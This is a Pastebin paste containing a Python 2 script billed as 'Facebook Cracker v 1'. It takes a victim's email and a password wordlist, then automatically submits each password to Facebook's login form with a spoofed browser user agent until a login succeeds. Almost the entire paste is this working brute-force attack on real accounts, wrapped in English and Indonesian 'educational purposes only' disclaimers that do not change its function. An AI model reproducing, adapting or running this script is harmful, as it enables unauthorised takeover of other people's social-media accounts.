SHARE
TWEET

okokokok

a guest Dec 9th, 2013 89 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #!usr/bin/python
  2.  
  3. #This program is for educational purposes only.
  4. #Don't attack people facebook accounts it's illegal !
  5. #If you want to crack into someone's account, you must have the permission of the user.
  6. #Mauritania Attacker & Reza Rafati are not responsible.
  7.  
  8. import sys
  9. import random
  10. import mechanize
  11. import cookielib
  12.  
  13. GHT = '''
  14.         +=======================================+
  15.         |..........Facebook Cracker v 1.........|
  16.         +---------------------------------------+
  17.         |  Author : Mauritania Attacker         |
  18.         |         : Reza Rafati                 |
  19.         |                                                                               |
  20.             |  Tool ini hanya digunakan sebagai         |
  21.             |  pentesting. Jangan gukanan tool ini  |
  22.             |  pada akun manapun tanpa ada izin dari|
  23.             |  pemilik akun! Segala Resiko atas     |
  24.             |  penyalahgunaan Tool ini, kami tidak  |
  25.             |  bertanggung jawaab! "Use at your own |
  26.             |  risk!!!!!" by Onix AQua                          |
  27.         +---------------------------------------+
  28. '''
  29. print "Ingat! Jangan gunakan untuk hal yg tidak baik!! :p"
  30. print "Tekan CTRL+C untuk berhenti!"
  31. print "Ingat! Sesuatu yg baik pasti akan memperoleh kebaikan pula, dan begitu juga sebaliknya :)"
  32. email = str(raw_input(""))
  33. passwordlist = str(raw_input(""))
  34. useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  35. login = 'https://www.facebook.com/login.php?login_attempt=1'
  36. def attack(password):
  37.   try:
  38.      sys.stdout.write("\r[*] trying %s.. " % password)
  39.      sys.stdout.flush()
  40.      br.addheaders = [('User-agent', random.choice(useragents))]
  41.      site = br.open(login)
  42.      br.select_form(nr=0)
  43.      ##Facebook
  44.      br.form['email'] =email
  45.      br.form['pass'] = password
  46.      br.submit()
  47.      log = br.geturl()
  48.      if log != login:
  49.         print "\n\n\n [*] Password found .. !!"
  50.         print "\n [*] Password : %s\n" % (password)
  51.         sys.exit(1)
  52.   except KeyboardInterrupt:
  53.         print "\n[*] Exiting program .. "
  54.         sys.exit(1)
  55. def search():
  56.     global password
  57.     for password in passwords:
  58.         attack(password.replace("\n",""))
  59. def check():
  60.     global br
  61.     global passwords
  62.     try:
  63.        br = mechanize.Browser()
  64.        cj = cookielib.LWPCookieJar()
  65.        br.set_handle_robots(False)
  66.        br.set_handle_equiv(True)
  67.        br.set_handle_referer(True)
  68.        br.set_handle_redirect(True)
  69.        br.set_cookiejar(cj)
  70.        br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
  71.     except KeyboardInterrupt:
  72.        print "\n[*] Exiting program ..\n"
  73.        sys.exit(1)
  74.     try:
  75.        list = open(passwordlist, "r")
  76.        passwords = list.readlines()
  77.        k = 0
  78.        while k < len(passwords):
  79.           passwords[k] = passwords[k].strip()
  80.           k += 1
  81.     except IOError:
  82.         print "\n [*] Error: check your password list path \n"
  83.         sys.exit(1)
  84.     except KeyboardInterrupt:
  85.         print "\n [*] Exiting program ..\n"
  86.         sys.exit(1)
  87.     try:
  88.         print GHT
  89.         print " [*] Email to crack : %s" % (email)
  90.         print " [*] Loaded :" , len(passwords), "passwords"
  91.         print " [*] Cracking, please wait ..."
  92.     except KeyboardInterrupt:
  93.         print "\n [*] Exiting program ..\n"
  94.         sys.exit(1)
  95.     try:
  96.         search()
  97.         attack(password)
  98.     except KeyboardInterrupt:
  99.         print "\n [*] Exiting program ..\n"
  100.         sys.exit(1)
  101. if __name__ == '__main__':
  102.     check()
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top